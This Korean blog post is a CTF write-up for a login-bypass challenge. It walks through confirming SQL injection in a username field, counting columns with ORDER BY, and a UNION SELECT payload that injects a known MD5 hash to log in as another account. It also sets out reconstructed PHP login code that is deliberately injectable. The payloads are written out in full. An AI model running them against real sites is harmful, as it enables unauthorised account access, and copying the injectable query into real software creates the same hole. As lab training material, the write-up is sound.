Almon Dev

ctf 풀이 (Login Bypass 4) 본문

모의해킹/모의해킹

ctf 풀이 (Login Bypass 4)

Almon 2024. 11. 18. 00:04

ctf 문제풀이

 

Login Bypass 4

 

풀이

1> doldol / dol1234로 로그인해 봅니다.

post요청으로 아이디, 비밀번호를 보낸 뒤, 로그인에 성공하면 302 리다이렉트 결과를 응답합니다.

 

2> sql injection 확인

지난번 문제와 마찬가지로 아이디 입력은 sql injection이 존재하고, 비밀번호 입력은 존재하지 않습니다.

UserId=doldol'+and+'1'%3d'1 >> doldol' and '1'='1

 

3> sql에서 가져오는 컬럼 개수 확인하기 (order by 사용)

UserId=doldol'+order+by+2+desc# 를 통해 받아오는 컬럼의 개수가 2개인 것을 확인

 

4> 로그인 코드 예상해 보기

db에서 비밀번호와 닉네임을 받아와서 인증절차를 따로 거치는 코드로 예상합니다.

$sql = "select nickname, password from member where id='$input_id'";

if( $input_pass == $db_pass ) {
	// 로그인
}

 

5> normaltic4로 로그인해 보기

지난번 문제처럼 union을 이용해서 normaltic4의 비밀번호를 직접 설정해서 로그인을 시도해 봅니다.

UserId='+union+select+'normaltic4',+'1234'+order+by+2+desc#&Password=1234&Submit=Login

 

6> 로그인 로직 추측

1234로 비밀번호를 설정하고 1234를 입력해도 로그인이 안된다면,

hash를 거친 뒤 인증을 하도록 되어 있을 것으로 추측됩니다.

<?php
    
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$input_pass_hash = hash('sha256', $input_pass);

$server_name = "localhost"; 
$username = "root";       
$password = "";           
$db_name = "test";      

$conn = new mysqli($server_name, $username, $password, $db_name);

$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];

if($input_pass_hash == $db_pass) {
    // 로그인 성공
    echo $nickname;
}else {
    // 로그인 실패
    echo 'fail';
}

 

7> 우회 방법 생각해보기

union select로 만들어둔 평문과 입력한 비밀번호를 해싱된 값이 달라서 로그인에 실패하는 것

=> union select에서 비밀번호를 해싱된 값으로 설정합니다.

 

8> 암호화 알고리즘 추측

bcrypt, Argon2같은 salt를 사용하는 알고리즘은 이런 방식으로 알아내기 힘듭니다.

md5, sha256일 가능성을 두고 시도해봅니다.

 

9> md5 시도해보기 (성공)

test를 md5로 암호화한 값 098F6BCD4621D373CADE4E832627B4F6를 이용해서 로그인 시도해보기

UserId=doldol'+union+select+'normaltic4',+'098F6BCD4621D373CADE4E832627B4F6'+order+by+2+asc#
&Password=test

 

로그인 php 코드 예상

<?php
    
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$input_pass_hash = hash('md5', $input_pass);

$server_name = "localhost"; 
$username = "root";       
$password = "";           
$db_name = "test";      

$conn = new mysqli($server_name, $username, $password, $db_name);

$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];

if($input_pass_hash == $db_pass) {
    // 로그인 성공
    echo $nickname;
}else {
    // 로그인 실패
    echo 'fail';
}

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (admin is mine)  (1) 2024.11.19
ctf 풀이 (Secret Login)  (2) 2024.11.18
ctf 풀이 (Login Bypass 3)  (0) 2024.11.16
모의해킹 공부 (5주차 정리)  (1) 2024.11.15
자바스크립트로 키로거 만들기  (2) 2024.11.07